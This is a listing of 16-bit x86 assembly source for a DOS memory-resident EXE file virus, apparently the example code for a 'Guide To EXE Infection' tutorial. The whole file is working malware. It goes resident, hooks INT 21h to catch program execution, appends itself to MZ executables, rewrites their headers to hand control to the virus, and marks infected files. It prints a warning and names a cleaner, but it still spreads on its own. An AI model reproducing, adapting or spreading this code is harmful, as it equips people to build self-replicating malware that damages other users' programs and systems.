orig.asm 7.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254
  1. .286
  2. virus segment
  3. assume cs:virus, ds:virus, es:virus
  4. jumps
  5. org 0CBh
  6. start:
  7. call delta ;Calculate delta offset
  8. delta:
  9. pop bp
  10. sub bp,offset delta
  11. push ds ;save PSP address
  12. push cs cs
  13. pop ds es
  14. mov ax,0CBCBh ;our "Codebreaker" residency check
  15. int 21h ;>what is CB?
  16. cmp bx,0C001h ;>C001!! :o)
  17. je restore ;its already resident
  18. pop ds
  19. push ds ;PSP address back into DS
  20. ;--------------------------------------------------
  21. mov ax,ds ;MCB residency
  22. dec ax ;For further clarification
  23. mov ds,ax ;read Codebreaker Tutorial 3
  24. sub word ptr ds:[3],40h
  25. sub word ptr ds:[12h],40h
  26. xor ax,ax
  27. mov ds,ax
  28. dec word ptr ds:[413h]
  29. mov ax,word ptr ds:[413h]
  30. shl ax,6
  31. mov es,ax
  32. push cs
  33. pop ds
  34. lea si,[bp+start]
  35. xor di,di
  36. mov cx,the_end - start
  37. rep movsb
  38. ;--------------------------------------------------
  39. xor ax,ax ;Setting of interrupts
  40. mov ds,ax ;For further clarification
  41. ;read Codebreaker Tutorial 3
  42. mov ax,es
  43. mov bx,new_int21h-start
  44. cli
  45. xchg bx,word ptr ds:[21h*4]
  46. xchg ax,word ptr ds:[21h*4+2]
  47. mov word ptr es:[old_int21h-start],bx
  48. mov word ptr es:[old_int21h+2-start],ax
  49. sti
  50. ;--------------------------------------------------
  51. push cs cs
  52. pop ds es
  53. mov ah,9 ;Warns the poor shmuck
  54. lea dx,[bp+message]
  55. int 21h
  56. restore: ;Control handed back
  57. lea si,[bp+old_ip] ;Restore orig IP
  58. lea di,[bp+original_ip]
  59. mov cx,4
  60. rep movsw
  61. ; Now for a clarification of the next four lines. At the beginning of
  62. ; the virus DS contains the address of the PSP. We now restore the
  63. ; address from the stack, place the address in ES. Then add 10h to
  64. ; skip over the PSP. Skip over the PSP(100h) with 10h? Sounds a little
  65. ; fishy, right? Well, remember that when you add 10h to AX, you are
  66. ; adding 10h segments. Each segment is 10h bytes, so 10h*10h=100h (PSP)
  67. pop ds
  68. mov ax,ds
  69. mov es,ax
  70. add ax,10h
  71. add word ptr cs:[bp+original_cs],ax ;Orig CS
  72. cli
  73. add ax,word ptr cs:[bp+original_ss] ;Orig SS
  74. mov ss,ax
  75. mov sp,word ptr cs:[bp+original_sp] ;Orig SP
  76. sti
  77. db 0eah ;jump to to it
  78. original_ip dw ? ;
  79. original_cs dw ?
  80. original_ss dw ?
  81. original_sp dw ?
  82. new_int21h: ;our int 21h handler
  83. pushf ;push the flags
  84. cmp ax,0CBCBh ;residency check
  85. jne no_install_check
  86. mov bx,0C001h ;already resident
  87. popf ;restore all flags
  88. iret ;return
  89. no_install_check:
  90. cmp ah,4bh ;check if execute
  91. je infect
  92. return:
  93. popf ;restore all flags
  94. db 0eah ;jmp to orig int 21h
  95. old_int21h dd ?
  96. infect:
  97. pusha ;only 286, saves all gen reg
  98. push ds
  99. push es
  100. call tsr_delta
  101. tsr_delta:
  102. pop bp ;a tsr delta offset %-)
  103. sub bp,offset tsr_delta
  104. mov ax,3d02h ;open file in DS:DX
  105. int 21h
  106. jc exit
  107. xchg ax,bx ;file handle to bx
  108. push cs cs
  109. pop ds es
  110. mov ah,3fh ;Read the target header
  111. lea dx,[bp+header] ;into our buffer
  112. mov cx,1ch
  113. int 21h
  114. cmp word ptr cs:[bp+header],'ZM' ;check if its an EXE
  115. je ok
  116. cmp word ptr cs:[bp+header],'MZ'
  117. je ok
  118. jmp close
  119. ok:
  120. cmp word ptr cs:[bp+header+12h],'BC' ;Checksum value checked for
  121. je close ;previous infection
  122. mov word ptr cs:[bp+header+12h],'BC' ;Mark it as infected
  123. mov ax,word ptr cs:[bp+header+14h] ;Save orig ExeIP
  124. mov word ptr cs:[bp+old_ip],ax ;Store in our buffer
  125. mov ax,word ptr cs:[bp+header+16h] ;Save orig ReloCS
  126. mov word ptr cs:[bp+old_cs],ax
  127. mov ax,word ptr cs:[bp+header+0eh] ;Save orig ReloSS
  128. mov word ptr cs:[bp+old_ss],ax
  129. mov ax,word ptr cs:[bp+header+10h] ;Save orig ExeSP
  130. mov word ptr cs:[bp+old_sp],ax
  131. mov ax,4202h ;Set pointer to end of file
  132. xor cx,cx
  133. xor dx,dx
  134. int 21h
  135. push ax dx ;Save EOF results
  136. ;Calculate new CS:IP, we set
  137. ;it to the EOF (this is where
  138. ;we will attach our virus)
  139. mov cx,16 ;Convert filesize into 16 byte
  140. div cx ;paragraphs
  141. sub ax,word ptr cs:[bp+header+8] ;Substract Header size from
  142. ;filesize to get the image
  143. ;(code/data) size.
  144. ;save:
  145. mov word ptr cs:[bp+header+14h],dx ;New ExeIP
  146. mov word ptr cs:[bp+header+16h],ax ;New ReloCS
  147. pop dx ax ;restore saved filesize
  148. add ax,the_end - start ;Add virus size to file size
  149. adc dx,0 ;Adds carry to DX
  150. mov cx,512 ;Calculate amount of pages
  151. div cx
  152. cmp dx,0
  153. je no_remainder
  154. inc ax ;if remainder, add 1
  155. no_remainder:
  156. mov word ptr cs:[bp+header+4],ax ;New PageCnt
  157. mov word ptr cs:[bp+header+2],dx ;New PartPag
  158. mov ah,40h ;write the virus to the EOF
  159. lea dx,[bp+start]
  160. mov cx,the_end - start
  161. int 21h
  162. mov ax,4200h ;Send pointer to beginning
  163. xor cx,cx
  164. xor dx,dx
  165. int 21h
  166. mov ah,40h ;Write the new header
  167. lea dx,[bp+header]
  168. mov cx,1ch
  169. int 21h
  170. mov al,7
  171. int 29h ; just a BEEEEEPPP
  172. close:
  173. mov ah,3eh ;close file
  174. int 21h
  175. exit:
  176. pop es
  177. pop ds
  178. popa
  179. jmp return
  180. old_ip dw offset exit_prog
  181. old_cs dw 0
  182. old_ss dw 0
  183. old_sp dw 0fffeh
  184. header db 1ch dup(?) ;Buffer for header
  185. message db 10,13,10,13
  186. db '- SPo0ky''s EXAMPLE TSR EXE infector for Horny Toad''s ''Guide To EXE Infection'' -',10,13
  187. db '- has been installed in your computers memory and will from now on infect any -',10,13
  188. db '- EXE file that you execute. -',10,13
  189. db '- You can use TBCLEAN (www.thunderbyte.com) to clean this virus. -',10,13,10,13
  190. db ' - www.codebreakers.org -',10,13,'$'
  191. the_end:
  192. exit_prog:
  193. mov ax,4c00h ;Request terminate program
  194. int 21h
  195. virus ends
  196. end start